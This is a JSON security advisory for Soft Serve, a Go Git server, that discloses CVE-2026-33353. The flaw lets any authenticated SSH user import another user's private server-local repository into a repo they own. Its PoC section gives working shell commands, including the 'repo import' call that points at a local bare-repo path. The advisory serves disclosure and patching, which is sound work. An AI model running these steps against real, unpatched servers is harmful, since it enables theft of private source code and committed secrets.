{"schema_version":"1.9.0","id":"GHSA-xgxp-f695-6vrp","published":"2026-03-19T19:27:58Z","modified":"2026-03-27T22:17:46.827144Z","aliases":["CVE-2026-33353","GO-2026-4788"],"summary":"In Soft Serve, an authenticated repo import can clone server-local private repositories","details":"### Summary\nAn authorization flaw in `repo import` allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.\n\n### Details\nRepo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from [`pkg/ssh/cmd/cmd.go:172`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/cmd.go#L172), which calls [`pkg/backend/user.go:46`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L46). If the destination repo does not already exist, any authenticated user is granted `ReadWriteAccess` at [`pkg/backend/user.go:94`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L94).\n\nThe import command then passes the user-controlled `REMOTE` into [`pkg/backend/repo.go:102`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/repo.go#L102). In vulnerable `HEAD`, `git.Clone(remote, rp, copts)` is reached without validating that `remote` is actually a network remote. As a result, a user can supply a server filesystem path such as `$DATA_PATH/repos/secret.git` and cause the server to clone its own local bare repository into a new repo owned by the attacker.\n\nThe relevant vulnerable flow is:\n- [`pkg/ssh/cmd/import.go`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/import.go)\n- [`pkg/ssh/cmd/cmd.go:172`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/cmd.go#L172)\n- [`pkg/backend/user.go:94`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L94)\n- [`pkg/backend/repo.go:102`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/repo.go#L102)\n\n### PoC\nConfiguration:\n- Default local test configuration is sufficient.\n- SSH must be enabled.\n- At least two users are needed: one owner/admin and one low-privilege authenticated user.\n\nReproduction steps:\n1. Start Soft Serve.\n2. As an admin, create a private repo:\n\n```sh\nsoft repo create secret -p\n```\n\n3. Create a second low-privilege user:\n\n```sh\nsoft user create user1 --key \"$USER1_AUTHORIZED_KEY\"\n```\n\n4. Seed the private repo with secret content:\n\n```sh\ngit clone ssh://localhost:$SSH_PORT/secret secret\necho 'top secret' > secret/SECRET.txt\ngit -C secret add SECRET.txt\ngit -C secret commit -m 'first'\ngit -C secret push origin HEAD\n```\n\n5. Confirm the low-privilege user cannot access the private repo directly:\n\n```sh\nusoft repo info secret\n```\n\nExpected result:\n\n```text\nError: repository not found\n```\n\n6. As the low-privilege user, import the server-local bare repo path into a new repo:\n\n```sh\nusoft repo import stolen \"$DATA_PATH/repos/secret.git\" --lfs-endpoint http://example.com\n```\n\n7. Clone the attacker-controlled imported repo and read the secret:\n\n```sh\nugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone\ncat stolen-clone/SECRET.txt\n```\n\nExpected result:\n\n```text\ntop secret\n```\n\nNotes:\n- The `--lfs-endpoint` value is needed to avoid later LFS endpoint handling rejecting the local-path import.\n\n### Impact\nThis is an authorization bypass and confidentiality issue.\n\nAny authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.\n\nImpacted parties:\n- Operators hosting Soft Serve for multiple users or teams\n- Owners of private repositories on the same instance\n- Any deployment where untrusted authenticated users can use `repo import`\n\nPractical impact:\n- Theft of private source code\n- Disclosure of secrets committed to private repos\n- Exposure of unreleased or internal projects\n- Possible follow-on supply-chain risk if stolen code contains credentials or release material","affected":[{"package":{"name":"github.com/charmbracelet/soft-serve","ecosystem":"Go","purl":"pkg:golang/github.com/charmbracelet/soft-serve"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.6.0"},{"fixed":"0.11.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-xgxp-f695-6vrp/GHSA-xgxp-f695-6vrp.json"}}],"references":[{"type":"WEB","url":"https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-xgxp-f695-6vrp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33353"},{"type":"WEB","url":"https://github.com/charmbracelet/soft-serve/commit/c147421caf234bcfc1570c79d728ecbbe5813e55"},{"type":"PACKAGE","url":"https://github.com/charmbracelet/soft-serve"},{"type":"WEB","url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.6"}],"database_specific":{"cwe_ids":["CWE-200","CWE-862"],"github_reviewed":true,"github_reviewed_at":"2026-03-19T19:27:58Z","nvd_published_at":"2026-03-24T20:16:29Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}